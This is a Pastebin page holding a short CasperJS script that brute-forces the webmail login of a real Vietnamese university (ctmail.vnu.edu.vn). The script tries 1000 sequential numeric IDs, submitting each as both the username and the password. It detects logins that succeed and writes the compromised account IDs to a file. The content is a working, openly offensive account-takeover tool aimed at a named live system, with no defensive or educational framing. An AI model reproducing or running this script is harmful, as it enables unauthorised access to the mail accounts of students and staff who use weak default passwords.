Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var casper = require('casper').create();
- var fs = require('fs');
- var id = parseInt(casper.cli.args[0]);
- function search() {
- casper.echo(++id);
- casper.thenOpen('http://ctmail.vnu.edu.vn/webmail/src/login.php');
- casper.then(function () {
- this.fillSelectors('form[action="redirect.php"]', {
- 'input[name="login_username"]': id.toString(),
- 'input[name="secretkey"]': id.toString(),
- 'input[name="js_autodetect_results"]': 1
- }, true);
- });
- casper.wait(1000);
- casper.then(function () {
- if (this.exists('frame[name="left"]')) {
- this.echo('Found!');
- fs.write('59.txt', id.toString() + '\n', 'a');
- }
- });
- }
- casper.start('http://ctmail.vnu.edu.vn/webmail/src/login.php');
- casper.then(function () {
- this.repeat(1000, search);
- });
- casper.run();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement